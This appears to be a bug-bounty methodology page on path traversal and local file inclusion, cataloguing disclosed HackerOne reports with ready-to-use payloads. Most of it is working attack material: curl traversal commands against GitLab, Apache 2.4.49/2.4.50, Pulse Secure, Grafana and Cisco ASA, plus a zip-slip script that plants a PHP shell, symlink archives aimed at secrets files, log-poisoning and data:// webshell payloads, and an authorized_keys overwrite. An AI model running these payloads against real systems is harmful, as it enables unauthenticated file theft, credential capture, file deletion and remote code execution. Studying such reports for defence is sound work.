Path traversal (a.k.a. directory traversal / LFI) is any bug where attacker-controlled text becomes part of a filesystem path without being normalized and confined, so a ../ sequence, an absolute path, a symlink, or an archive entry name escapes the intended directory. The core mechanism is always the same: some string you control is concatenated or resolved into a path and handed to open/read/write/extract before the app checks where that path actually lands.
# Baseline diff: request a real file, then traverse to a known target
GET /download?file=report.pdf # 200, real file
GET /download?file=../../../../etc/passwd # 200 + root:x:0:0 => confirmed read
GET /download?file=....//....//etc/passwd # if THIS works, a naive one-shot "../" strip
Traversal shows up in more than the URL. Group your testing by where the path string is born.
The classic: a URL path segment is turned straight into a filesystem path. The key detail is that the traversal must survive end-to-end — your HTTP client will collapse ../ before it ever leaves the machine unless you stop it, and the server-side decoder must not re-normalize.
# URL-encode the dots AND the slash so a literal "../" string match never sees it,
# and pass --path-as-is so curl does not collapse the traversal client-side.
curl --path-as-is -XPUT -H "Private-Token: $TOKEN" --data-binary @id_rsa.pub \
'https://TARGET/api/v4/projects/2/packages/maven/a%2fb%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys'
# Traversal in the filename segment that FOLLOWS an otherwise-validated 32-hex secret;
# only the hex is checked, the tail is spliced in raw.

<!-- The manifest/metadata field carries the traversal, not the request path -->
<version>../../../../../nyangawa</version> <!-- inside a .nuspec / package manifest -->
Any untar/unzip of an attacker-supplied archive that writes entries relative to a base dir without validating the resolved path. The payload is the entry name, not the file content — a single crafted entry escapes the extraction directory.
# The zip ENTRY NAME carries the traversal; the content is your shell.
# Standard `zip` won't store a ../ name, so set the entry name directly:
python3 -c 'import zipfile; z=zipfile.ZipFile("evil.zip","w"); \
z.write("shell.php","../../../../../../var/www/html/shell.php"); z.close()'
# On extract, ../ climbs out of $extract_dir into the webroot => PHP RCE on next request.
# Symlink an expected file to the target; the extractor/collector follows the link.
ln -sf /etc/passwd project.json # parser echoes non-JSON body => read oracle
ln -s /srv/gitlab/config/secrets.yml ./<secret>/secrets.yml
tar czf uploads.tar.gz ./<secret> # import re-uploads each resolved path
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: TARGET
Content-Type: application/json
{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"https://youtu.be/x","_template":"file://../"}}}
# Read source you cannot reach as a file (base64 so PHP doesn't execute it):
GET /?page=php://filter/convert.base64-encode/resource=../../config.php
# Inline PHP execution when input is included directly:
GET /?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==&c=id
# Log poisoning: write PHP into a log via a header, then include the log.
User-Agent: <?php system($_GET['c']); ?>
GET /?page=../../../../var/log/apache2/access.log&c=id
Traversal is a primitive; the payout is in what you chain it into.
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 181 in this class.
Real-world example
GitLab workhorse multipart bypass -> arbitrary file read
◆ Critical
Specimen #850447 · gitlab · 10000 · 409 votes · resolved
Program gitlabSurface apiTag file-upload
Root cause
Sending the upload field as `[package]` caused workhorse's rewritten_fields key to parse (via Rack::Utils.parse_nested_query) into the same hash as the legit field, passing validation while the accelerated-upload handler then trusted an attacker-controlled `?file.path=` query param pointing at any allowed_paths file.
Method
- POST an accelerated upload with field name bracketed: `[package]` / `[file]`
- Add query param file.path=/target/file to point at the file to read
- Use the wiki attachments API to drop the ownership restriction (file_content read)
- Steal in-flight uploads via file.path=/proc/<PID>/fd/<N> in a loop
curl -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'
# in-flight upload theft
curl -XPOST ...'?file.path=/proc/19603/fd/44' -F '[file]=@/tmp/x'
Insight — When a proxy signs 'rewritten fields' and the app re-parses them, bracketed/nested field names (`[x]`) can collapse to the expected key and desync validation from the trusted path. /proc/PID/fd is a powerful primitive to grab other users' in-flight temp files.
Real-world example
Arbitrary file read via upload-rewriter filename traversal (GitLab issue move)
◆ Critical
Specimen #827052 · gitlab · USD 20000 · 1500 votes · resolved
Program gitlabSurface webChain arbitrary file read -> leak secrets.yml/tokens/configTag file-upload
Root cause
When an issue is moved between projects, UploadsRewriter passes the markdown-referenced upload filename to the file store with no traversal validation, so '../' in the file segment copies arbitrary server files into the new project.
Method
- Create two projects
- Add an issue whose description references an upload with a '../' traversal to a target file
- Move the issue to the second project
- Download the file that was copied into the second project

Insight — Any feature that copies/moves user-referenced upload files by name (issue move, group/project import, attachment rewrite) is a traversal sink. Where the path is secret+filename and only the 32-hex secret is validated, the filename segment is still injectable.
Real-world example
Re-introducing path traversal via a second input channel (env var) that skips the validated one
◆ Critical
Specimen #409395 · gitlab · awarded · 362 votes · resolved
Program gitlabSurface webChain traversed cache key -> poison/read another job's cache -&
Root cause
The fix for a CI cache-key path traversal validated only values coming through .gitlab-ci.yml; the same value could instead be supplied via a project CI/CD environment variable, which was interpolated into the key without normalization.
Method
- Set a project CI/CD variable ONE = ../1/key
- Reference it as the cache key: key: "$ONE"
- Trigger a pipeline; the traversed key writes/reads cache outside the intended dir
# Settings > CI/CD > Variables: ONE = ../1/key
a:
script: [echo a]
cache:
key: "$ONE"
policy: pull # or push to poison
paths: ['.']
Insight — When a filter is patched on one input path, hunt for every other channel feeding the same sink (env vars, headers, imported config, API vs UI). Validation applied at parse time is bypassed by late variable interpolation.
Real-world example
Arbitrary read via symlink in imported uploads.tar.gz (GitLab bulk import)
◆ Critical
Specimen #1439593 · gitlab · USD 29000 · 326 votes · resolved
Program gitlabSurface webChain arbitrary file read -> secrets.yml -> secret_key_base Tag file-upload
Root cause
The bulk-import UploadsPipeline extracts uploads.tar.gz but only chmods -- it never removes symlinks -- then opens and re-uploads each extracted path, so a symlink in the tar is followed to read arbitrary git-user files.
Method
- Create a group with an upload and note the 32-hex secret
- Build a tar whose directory (named as the secret) contains symlinks to /etc/passwd and secrets.yml
- Host a proxy that swaps in the malicious uploads.tar.gz during group import
- Import the group
- Open the milestone and download the linked files via the upload URLs
mkdir ./d3209c811fee407218bff7cb3b4333e6
ln -s /etc/passwd ./d3209c811fee407218bff7cb3b4333e6/passwd
ln -s /srv/gitlab/config/secrets.yml ./d3209c811fee407218bff7cb3b4333e6/secrets.yml
tar cvzf uploads.tar.gz ./d3209c811fee407218bff7cb3b4333e6
Insight — Import/restore features that untar attacker-supplied archives should be probed with symlink entries: extractors that only chmod (not remove) symlinks become arbitrary-read oracles even when filename '../' is filtered.
Real-world example
Symlink a build artifact to a host path -> host arbitrary file read on export
◆ Critical
Specimen #697055 · semmle · 2000 · 178 votes · resolved
Program semmleSurface otherChain symlink artifact -> host follows link -> host file exfTag file-upload
Root cause
After a build, the host copies selected files (config/log files) out of the container by name; if the attacker replaces such a file with a symlink, the host follows the link and copies the HOST machine's file (not the container's), leaking arbitrary host files.
Method
- In the build, delete the file the host will collect (e.g. the effective config or log file).
- Create a symlink with that expected name pointing at a host path (/etc/passwd, secrets, etc.).
- Let the build finish; when the host copies the artifact by name it dereferences the symlink on the host and returns host file contents to you.
# config-name variant (.lgtm.yml is parsed-then-skipped but still collected):
ln -s /etc/passwd .lgtm.yml
# or log variant (report 694181):
extraction:
cpp:
after_prepare:
- rm -rf /opt/out/snapshot/log/build.log && ln -s /etc/passwd /opt/out/snapshot/log/build.log
Insight — Whenever a more-privileged process copies files OUT of a sandbox by path, symlinks in the sandbox can redirect the read to the privileged side. Test any 'collect artifacts / view file list' feature by symlinking the expected artifact name to a host-side secret.
Real-world example
upload_path traversal in wp_mkdir_p chmods arbitrary dirs -> hardening bypass -> RCE (WordPress)
◆ Critical
Specimen #436928 · wordpress · awarded · 164 votes · resolved
Program wordpressSurface webChain perms bypass -> upload PHP shell -> LFI include via _wTag file-upload
Root cause
The admin-controllable 'upload_path' option flows into wp_mkdir_p, which chmods each segment of the (attacker) target path to the parent directory's permissions, letting an attacker make arbitrary directories world-writable and defeat WordPress hardening.
Method
- Set upload_path to a traversal payload whose realpath lands in a writable dir (e.g. /var/tmp)
- Trigger a media upload so wp_mkdir_p runs and chmods each path segment to 777
- Point upload_path at the theme directory, upload shell.txt containing PHP
- Include it via the _wp_page_template post meta -> RCE
../../../../../../../var/tmp/content/../../../../../../home/simon/html/wordpress/../../../../../../var/tmp/content
Insight — Functions that copy a parent directory's permissions while iterating an attacker-controlled path are a chmod primitive; admin options that become filesystem paths bypass read-only-webroot hardening.
Real-world example
Symlink in import archive + JSON.parse error reflects arbitrary file contents
◆ Critical
Specimen #178152 · gitlab · none · 114 votes · resolved
Program gitlabSurface webChain symlink file read -> read secrets/config -> RCE (CVE-2Tag file-upload
Root cause
The GitLab export importer follows symlinks in the uploaded archive; pointing project.json at an arbitrary file (e.g. /etc/passwd) makes JSON.parse fail on non-JSON content, and the framework's error handler echoes the entire file body back to the UI, giving arbitrary file read (escalatable to RCE).
Method
- Build an export archive; replace project.json with a symlink to the target file
- Also symlink VERSION to leak first lines / control flow
- Re-tar and upload as a project import
- Read the target file contents from the returned JSON.parse error message
# in export dir:
ln -sf /etc/passwd project.json
ln -sf /etc/passwd VERSION
tar -czvf evil.tar.gz .
# upload via /projects/new (GitLab export import)
Insight — Any feature that unpacks a user archive (import/restore/backup, ZIP/tar) should be tested for symlink following; combine with a verbose parser that reflects failed-parse input to convert 'file exists' into full arbitrary file read.
Real-world example
Apache httpd 2.4.49 encoded-dot traversal (CVE-2021-41773)
◆ Critical
Specimen #1394916 · ibb · USD 4000 · 96 votes · resolved
Program ibbSurface webChain file read -> with CGI enabled -> RCE
Root cause
A path-normalization regression in Apache httpd 2.4.49 lets encoded-dot ('.%2e') sequences in the URL escape Alias-mapped directories, exposing files outside the docroot; with mod_cgi enabled on an aliased path it becomes RCE.
Method
- Fingerprint Server: Apache/2.4.49
- Send an encoded-dot traversal against a cgi-bin/alias path
- If the target dir lacks 'require all denied' the file is served; if CGI is enabled, POST to execute
curl --path-as-is "http://TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Insight — On seeing Apache/2.4.49, test the encoded-dot traversal immediately; the 2.4.50 fix was incomplete (CVE-2021-42013 needs double encoding e.g. '.%%32%65'). Exploited in the wild.
Real-world example
Local file read from the web via custom browser protocol (brave://)
◆ Critical
Specimen #390013 · brave · awarded · 74 votes · resolved
Program braveSurface desktopChain Web page -> <link rel=import brave:///path> -> r
Root cause
A custom privileged URL scheme (brave://) resolved to local filesystem paths and was reachable from web content via HTML Imports, so a web page could load brave:///etc/passwd through <link rel=import> and read local files, bypassing the file:// same-origin/scheme restrictions the previous fix relied on.
Method
- Host a web page that imports a local path through the custom scheme
- Use <link rel=import href="brave:///etc/passwd"> with an onload handler
- On load, read the imported document body -> contents of the local file
<link id=link href="brave:///etc/passwd" rel=import as=document onload="show()">
<script>function show(){alert(link.import.querySelector('body').innerHTML)}</script>
Insight — When a browser/Electron/Muon app introduces a custom protocol to replace a restricted one (file://, asar://), test whether the new scheme is (a) reachable from remote web content and (b) still maps to local paths. Fixes that swap the scheme often reintroduce local file read because the new handler lacks the origin checks. Try it through HTML Imports, fetch, iframe, and <object>.
Real-world example
Cisco ASA WebVPN traversal in Cookie token -> unauth file read/delete (CVE-2020-3187)
◆ Critical
Specimen #960330 · deptofdefense · none · 70 votes · resolved
Program deptofdefenseSurface network
Root cause
The Cisco ASA/FTD web services interface fails to validate the HTTP URL, so directory-traversal sequences carried in the session token let an unauthenticated attacker read and delete files in the web services filesystem.
Method
- Confirm /+CSCOE+/session_password.html returns 200
- Send a request with a traversal sequence in the Cookie token value to delete a webroot file (restored on reboot)
curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" "https://TARGET/+CSCOE+/session_password.html"
Insight — Appliance WebVPN portals (+CSCOE+ / +CSCOU+) are recurring traversal targets; remember traversal can live in a header/cookie value, not only the URL path.
Real-world example
Cisco ASA WebVPN +CSCOU+/../+CSCOE+ traversal -> unauth file list/read (CVE-2018-0296)
◆ Critical
Specimen #2375666 · mtn_group · none · 61 votes · resolved
Program mtn_groupSurface network
Root cause
The Cisco ASA/FTD web interface improperly validates the HTTP URL, so a +CSCOU+/../+CSCOE+ traversal reads directory listings and sensitive files without authentication (and can DoS-reload the device).
Method
- Send a request to the WebVPN file_list endpoint using the +CSCOU+/../+CSCOE+ virtual-path traversal with a path parameter
- Read the returned file listing / file contents
https://TARGET/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b
Insight — Cisco ASA WebVPN is a recurring traversal target across CVEs (2018-0296 read/list, 2020-3452 read, 2020-3187 delete); pivot on the +CSCOU+/+CSCOE+ virtual paths.
Real-world example
Local file disclosure via file-serving path parameter
◆ Critical
Specimen #684836 · deptofdefense · none · 51 votes · resolved
Program deptofdefenseSurface webChain LFD -> web.config DB creds + source code disclosure
Root cause
A file-download handler takes a caller-controlled path parameter and returns its contents without restriction, allowing download of web.config (DB credentials) and server-side source files (.aspx.cs).
Method
- Find a download/render endpoint that takes a file path (e.g. file.ashx?path=).
- Request configuration files: ?path=web.config to obtain DB credentials.
- Request server-side source: ?path=UserAccountJSON.aspx.cs to read application code (and mine it for more secrets).
https://TARGET/file.ashx?path=web.config
https://TARGET/file.ashx?path=UserAccountJSON.aspx.cs
Insight — Any endpoint with a path/file/name/template parameter is a candidate LFD. On .NET, prioritize web.config (connection strings, machineKey) and *.aspx.cs source; source disclosure then compounds into credential leaks and further exploitation. Discovered here by scanning a DoD-controlled ASN IP range.
Real-world example
CI cache key '../<id>/cache' crosses project isolation -> read + poison (GitLab)
◆ Critical
Specimen #301432 · gitlab · USD 2000 · 43 votes · resolved
Program gitlabSurface webChain cache read -> cache poison (overwrite cached executables)
Root cause
The GitLab CI runner builds the shared-cache URL/path by prepending the project ID to an attacker-controlled cache 'key'; a '../' in the key traverses to another project's cache, enabling cross-project cache read and poisoning (CVE-2017-0918).
Method
- In .gitlab-ci.yml set cache key to '../<other-project-id>/cache' with policy pull and path '.' to extract another project's cache into the workspace (read via 'ls -lashR')
- Switch to policy push to overwrite files in that cache (poison)
- Victim project's next pipeline pulls the poisoned cache -> runs attacker content
a:
script:
- ls -lashR
cache:
key: ../1/cache
policy: pull
paths:
- .
Insight — Shared/multi-tenant caches keyed by a concatenated ID + user key are traversal sinks; '../' in the key crosses tenant boundaries, and 'push' policy turns read into supply-chain code execution in other pipelines.
Real-world example
Pulse Secure SSL VPN pre-auth arbitrary file read -> RCE chain (CVE-2019-11510)
◆ Critical
Specimen #695005 · deptofdefense · awarded · 39 votes · resolved
Program deptofdefenseSurface webChain CVE-2019-11510 pre-auth file read -> cleartext creds ->
Root cause
Pulse Secure SSL VPN's dana-na handler allows unauthenticated path traversal to read arbitrary files; because it stores credentials in cleartext, reading them yields VPN access which is then escalated to root via the post-auth command injection CVE-2019-11539.
Method
- Fingerprint Pulse Secure (dana-na login, version).
- Read arbitrary files pre-auth with the guacamole traversal (use --path-as-is to preserve ../).
- Read the plaintext credential/session store, authenticate to the VPN.
- Exploit CVE-2019-11539 (post-auth command injection) for RCE as root.
curl -i -k --path-as-is https://TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/
Insight — When an appliance has a pre-auth file-read, the highest-value target is its own credential/session store (often cleartext), turning file-read into authenticated access and then chaining an appliance-specific post-auth RCE. --path-as-is is required so curl doesn't normalize the traversal.
Real-world example
Apache 2.4.50 CVE-2021-42013 mangled double-encoding traversal -> RCE
◆ Critical
Specimen #1404731 · ibb · USD 1000 · 26 votes · resolved
Program ibbSurface webChain double-encoding traversal -> map into cgi-bin -> POST Tag file-upload
Root cause
The CVE-2021-41773 fix in Apache 2.4.50 only normalized single-encoded dots; a nested/mangled encoding of '.' (%%32%65 => %2e => .) re-introduces ../ mapping to files outside Alias-configured dirs, and with mod_cgi enabled allows RCE.
Method
- Target Apache httpd 2.4.49 or 2.4.50 with an aliased path (e.g. /cgi-bin/ or /icons/)
- Use %%32%65 (which decodes to %2e then .) to build traversal segments
- GET reads arbitrary files; POST to /bin/sh via cgi-bin executes commands
# file read:
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: TARGET
# RCE (mod_cgi enabled):
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: TARGET
Content-Length: 60
echo Content-Type: text/plain; echo; id; uname; apache2ctl -M
Insight — Against incomplete traversal patches, try layered/mangled encodings the fix's regex missed: %%32%65, .%%32%65, .%%32e, .%2%65. Requires the segment to sit under an Alias/ScriptAlias not covered by 'require all denied'; cgi-bin turns file read into RCE.
Real-world example
Grafana plugin path traversal (CVE-2021-43798) unauth file read
◆ Critical
Specimen #1427086 · mtn_group · none · 24 votes · resolved
Program mtn_groupSurface webChain File read -> DB creds/secret_key in grafana.ini -> deeTag file-upload
Root cause
Grafana 8.x serves plugin static assets via /public/plugins/<id>/<file> without normalizing URL-encoded traversal, allowing unauthenticated arbitrary file read.
Method
- Identify Grafana 8.x (default :3000)
- Request a valid plugin id path with URL-encoded ../ sequences
- Read /etc/passwd, then grafana.ini/defaults.ini for DB creds and secret_key
curl http://TARGET:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
curl http://TARGET:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Fshare%2Fgrafana%2Fconf%2Fdefaults.ini
Insight — Fingerprint Grafana version, then read conf/defaults.ini + custom.ini for admin creds, database DSN and secret_key. Use a real installed plugin id (mysql/prometheus) as the traversal prefix. Encoded %2F defeats naive path cleaning.
Real-world example
Pulse Secure SSL VPN pre-auth file read to root RCE (CVE-2019-11510 chain)
◆ Critical
Specimen #678496 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface networkChain pre-auth arbitrary file read -> cleartext credential thefTag account-takeover
Root cause
Path-normalization flaw in the Pulse Secure /dana-na/ web handler lets an unauthenticated attacker traverse to arbitrary files; the appliance stores plaintext admin credentials on disk, so file read chains directly to authenticated command injection.
Method
- Confirm exposure by reading /etc/passwd via the guacamole path-traversal gadget with curl --path-as-is
- Read /data/runtime/mtmp/lmdb/dataa/data.mdb to recover cleartext admin/user credentials
- Log into the VPN admin as the recovered admin
- Trigger post-auth command injection (CVE-2019-11539) to run commands as root
curl -i -k --path-as-is https://TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/
curl -k --path-as-is https://TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/
Insight — When an appliance file-read primitive exists, immediately look for on-disk credential/session stores (here LMDB data.mdb) to convert unauth read into authenticated access and then RCE. The trailing ?/dana/html5acc/guacamole/# suffix and --path-as-is are needed so the traversal survives normalization.
Real-world example
Cisco ASA/FTD unauth file delete via traversal in Cookie (CVE-2020-3187)
◆ Critical
Specimen #1031437 · deptofdefense · none · 19 votes · resolved
Program deptofdefenseSurface networkChain unauth file delete -> delete WebVPN Lua -> DoS
Root cause
The Cisco ASA/FTD WebVPN interface processes directory-traversal sequences in the session token (Cookie), allowing an unauthenticated attacker to view/delete arbitrary files in the web-services filesystem (deleting Lua files DoSes WebVPN until reboot).
Method
- Fingerprint WebVPN (+CSCOE+/+CSCOU+ paths)
- Non-destructive probe: GET /+CSCOE+/session_password.html -> 200 = vulnerable, 404 = patched
- To delete, send traversal in the token Cookie against session_password.html
# vuln check (safe)
curl -sk https://TARGET/+CSCOE+/session_password.html -o /dev/null -w '%{http_code}\n'
# file deletion PoC
curl -sk -H 'Cookie: token=../+CSCOU+/csco_logo.gif' https://TARGET/+CSCOE+/session_password.html
Insight — Fingerprint appliances to known CVEs; many have a safe existence-probe (here a 200 on a path removed in patched builds). Path traversal isn't only in query params — appliance code parses it out of Cookies/tokens too.
Real-world example
WordPress arbitrary file deletion via attachment thumb meta -> RCE
◆ Critical
Specimen #291878 · wordpress · none · 17 votes · resolved
Program wordpressSurface webChain arbitrary file deletion -> delete wp-config.php -> re-Tag file-upload
Root cause
The editattachment action stores $_POST['thumb'] into attachment metadata unsanitized; wp_delete_attachment later passes that value to @unlink(path_join(basedir, thumb)), so a ../ thumb value deletes arbitrary files.
Method
- Upload an image via the media library
- Call post.php with action=editattachment and thumb set to a ../ path (e.g. ../../../../wp-config.php)
- Delete the attachment from admin; wp_delete_attachment unlinks the traversed target
curl 'http://TARGET/wp-admin/post.php?post=POSTID&action=editattachment&_wpnonce=NONCE' \
-H 'Cookie: <authenticated cookies>' \
--data 'thumb=../../../../wp-config.php'
# then delete the attachment in wp-admin
Insight — Arbitrary file DELETE is a strong primitive: deleting wp-config.php drops the site into the install wizard, letting an attacker point it at their own DB = RCE; deleting .htaccess/index.php exposes directory contents. @unlink is silent so failed attempts leave no trace. Hunt user-controlled filename/path fields that flow to unlink/delete.
Real-world example
VMware EAM vib?id= arbitrary file read
◆ Critical
Specimen #1069105 · mtn_group · none · 16 votes · resolved
Program mtn_groupSurface web
Root cause
The VMware ESX Agent Manager (EAM) endpoint /eam/vib takes an id parameter that is used directly as a filesystem path, so an absolute path (or traversal) in id returns arbitrary local files.
Method
- Identify VMware vSphere/EAM hosts (vc., ips. subdomains, VMware login).
- Request /eam/vib with id set to an absolute path or traversal to a sensitive file.
GET /eam/vib?id=/etc/passwd HTTP/1.1
Host: TARGET
Insight — Product-specific file-read sinks (VMware EAM vib?id=) are worth memorizing and mass-testing across an org's VMware surface — the same one-line payload hit two hosts here. Enumerate subdomains for vCenter/ESXi and fire known LFI paths.
Real-world example
Nginx off-by-slash traversal leaking .git/config GitHub token
◆ Critical
Specimen #1386547 · adobe · none · 15 votes · resolved
Program adobeSurface webChain Off-by-slash traversal -> .git/config leak -> GitHub t
Root cause
An nginx `location /X` (no trailing slash) with `alias /path/;` (trailing slash) lets a request to `/X../` traverse one directory above the alias root, exposing files such as .git/config containing credentials.
Method
- Find an nginx alias location (e.g. static/assets path)
- Request <location>../ to escape the alias root
- Retrieve .git/config and extract the embedded GitHub username/token
- git clone the private repo with the leaked token
GET /STATIC../.git/config # off-by-slash: location /STATIC + alias /path/ -> /path../ = parent dir
Insight — Probe every nginx alias-served location with a trailing ../ (off-by-slash); grab .git/config, .env, backup files for secrets. A leaked repo token escalates to source-code read/write.
Real-world example
Path-normalization bypass of static-server denylist (unlisted/rewrites)
◆ Critical
Specimen #486933 · nodejs-ecosystem · none · 13 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
The static file server (serve/serve-handler) matches its unlisted/rewrites denylist against the raw request path before normalization, so a request that detours through another segment and back with ../ evades the block yet still resolves to the forbidden file on disk.
Method
- Configure server to block a secret file and .git via rewrites/unlisted
- Confirm direct request is 404
- Request any allowed segment then traverse back with ../ to the forbidden path (send raw, unnormalized)
curl 'http://TARGET/any/../.git/HEAD' --path-as-is
# -> ref: refs/heads/master
curl 'http://TARGET/any/../secret' --path-as-is
# -> secret text
Insight — When a server implements its own allow/deny rules, test whether the rule runs on the raw or normalized path. Inject ./ and seg/../ so the denylist sees a different string than the filesystem resolves. Use --path-as-is so the client doesn't pre-normalize. Prime targets: .git/HEAD, .env, config, backups behind 'unlisted' rules.
Real-world example
Node static-file-server traversal (browser-normalization bypass)
◆ Critical
Specimen #306607 · nodejs-ecosystem · none · 13 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
Node static-file servers (html-pages, hekto, simplehttpserver, serve) concatenate the URL path onto the webroot without normalization; the browser normalizes ../ away, but raw requests or URL-encoded dots reach the unsanitized handler.
Method
- Run/identify a node static server
- In a browser, %2e%2f-encode the dots to list parent directories
- To read files, send the raw request with curl --path-as-is (bypasses browser normalization)
curl -v --path-as-is http://TARGET:8000/../../../../../etc/passwd
# browser directory-listing variant:
http://TARGET:8000/.%2e/.%2e/
Insight — When a browser blocks ../, resend the request raw with curl --path-as-is or via Burp, or URL-encode as %2e/%2f; these servers only ever guarded the normalized browser path, not the wire path.
Real-world example
Traversal gated behind a required extension substring (missing $ anchor)
◆ Critical
Specimen #358112 · nodejs-ecosystem · none · 12 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
buttle's markdown middleware only reaches the file-read branch when the URL matches /\.markdown/ (no end anchor) and then reads the joined path without any ../ check, so including the magic substring anywhere plus ../ reads arbitrary files.
Method
- Confirm the server only serves paths containing .md/.markdown
- Craft a raw URL with ../ traversal that also contains the substring .markdown
- Send via Burp/curl to read the target file
GET /../../../../etc/passwd%23.markdown
# any URL containing '.markdown' plus ../ reaches the unsanitized fs.readFile
Insight — When a router gates file access on a substring/extension before reading, satisfy the gate (append or embed the required token) while traversing; a missing $ anchor in the regex lets the token appear anywhere in the path, not just at the end.
Real-world example
Download endpoint: satisfy substring allowlist then traverse out
◆ Critical
Specimen #1626210 · deptofdefense · awarded · 12 votes · resolved
Program deptofdefenseSurface web
Root cause
download.php validates the path only by requiring the substring 'data_products' anywhere (weak contains() check); prefixing that token then traversing (data_products/../../..) passes validation while reading arbitrary files, and the same sink leaks its own PHP source.
Method
- Hit the download endpoint; note 403 protection
- Prefix the required whitelisted directory token, then append ../ traversal
- Read /etc/passwd, /etc/hosts, and the PHP source (download.php) to confirm the weak check
https://TARGET/download.php?filePathDownload=data_products/../../../../../etc/passwd
Insight — When a filter requires a whitelisted directory name to appear somewhere in the path, just prefix that token and then ../ out of it; leaking the endpoint's own source (readfile of download.php) reveals the exact weak contains()/startsWith() check to bypass.
Real-world example
Cisco ASA/FTD WebVPN unauth file read (CVE-2020-3452)
◆ Critical
Specimen #998925 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface network
Root cause
Cisco ASA/FTD WebVPN interface fails to validate the textdomain/lang parameters of /+CSCOT+/translation-table, letting an unauthenticated attacker read files from the web-services filesystem (e.g. portal_inc.lua).
Method
- Fingerprint a WebVPN/AnyConnect ASA
- Request the translation-table endpoint with textdomain pointing at the target file and lang=../
- Read web-services files (not OS files)
curl -ik 'https://TARGET/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../'
Insight — Unauth ASA WebVPN file read; the lang=../ plus textdomain traversal reads web-services (WebVPN/AnyConnect) files only, not OS files. Fingerprint ASA WebVPN before firing.
Real-world example
Pulse Connect Secure unauth traversal to plaintext creds (CVE-2019-11510)
◆ Critical
Specimen #671857 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface networkChain Unauth traversal -> read data.mdb -> plaintext VPN pasTag account-takeover
Root cause
Pulse Connect Secure VPN allows unauthenticated arbitrary file read via a crafted /dana-na/../dana/html5acc/guacamole/ traversal; the readable LMDB cache stores plaintext passwords cached at user login.
Method
- Send the crafted traversal URL with curl --path-as-is to read /etc/hosts (confirm)
- Read /data/runtime/mtmp/lmdb/dataa/data.mdb
- grep the mdb for 'password@9' to extract plaintext VPN credentials
- Log in to the VPN and pursue RCE
curl --path-as-is -k -D- 'https://TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../etc/hosts?/dana/html5acc/guacamole/#'
Insight — The exploit's power is the target file: read the LMDB session/cred cache (data.mdb) and grep 'password@9' for cleartext passwords. The trailing ?/dana/html5acc/guacamole/# is required to satisfy the endpoint's path check while the ../ earlier does the traversal.
Real-world example
Cisco ASA unauth arbitrary file DELETE via Cookie header (CVE-2020-3187)
◆ Critical
Specimen #978335 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface networkChain Arbitrary file delete of WebVPN lua source -> portal DoS
Root cause
Cisco ASA/FTD WebVPN fails to validate the `token` cookie value on /+CSCOE+/session_password.html, so ../ in the cookie deletes (and can read) arbitrary web-services files unauthenticated.
Method
- Fingerprint via /+CSCOE+/session_password.html returning a webvpn: header
- Send the request with Cookie: token=../+CSCOU+/<file> to delete that file
- Confirm the target file now 404s (deleting lua files DoS's the portal)
curl -skiL "https://TARGET/+CSCOE+/session_password.html" -H "Cookie: token=../+CSCOU+/csco_logo.gif"
Insight — The traversal sink can live in a Cookie value, not just the URL - always fuzz ../ in headers/cookies. The `webvpn:` response header fingerprints vulnerable ASA; deleting portal lua files causes DoS until reboot. Use /+CSCOE+/blank.html when the logo has permission issues.
Real-world example
Cisco ASA/FTD unauth arbitrary file DELETE (CVE-2020-3187)
◆ Critical
Specimen #1555025 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface network
Root cause
Cisco ASA/FTD web services interface lacks HTTP-URL input validation, letting an unauthenticated attacker send directory-traversal sequences (delivered in the session Cookie 'token' value) that delete arbitrary files within the WebVPN file system.
Method
- Confirm the WebVPN endpoint responds (e.g. /+CSCOE+/session_password.html returns 200).
- Send the same request with a Cookie whose token value is a ../ traversal to the target file to delete it.
- Deleted WebVPN files are restored on device reload (non-destructive PoC).
curl -k -s -i https://TARGET/+CSCOE+/session_password.html
curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://TARGET/+CSCOE+/session_password.html
Insight — Traversal doesn't have to live in the URL path — here the sink reads the session Cookie 'token' value. When URL-path traversal is filtered, check whether cookies/headers feed the same file operation. Deleting WebVPN files can DoS the portal; files return on reboot.
Real-world example
Exploiting known CVE-2020-3187: unauth file deletion in Cisco ASA/FTD WebVPN
◆ Critical
Specimen #987090 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain appliance fingerprint -> known-CVE match -> traversal
Root cause
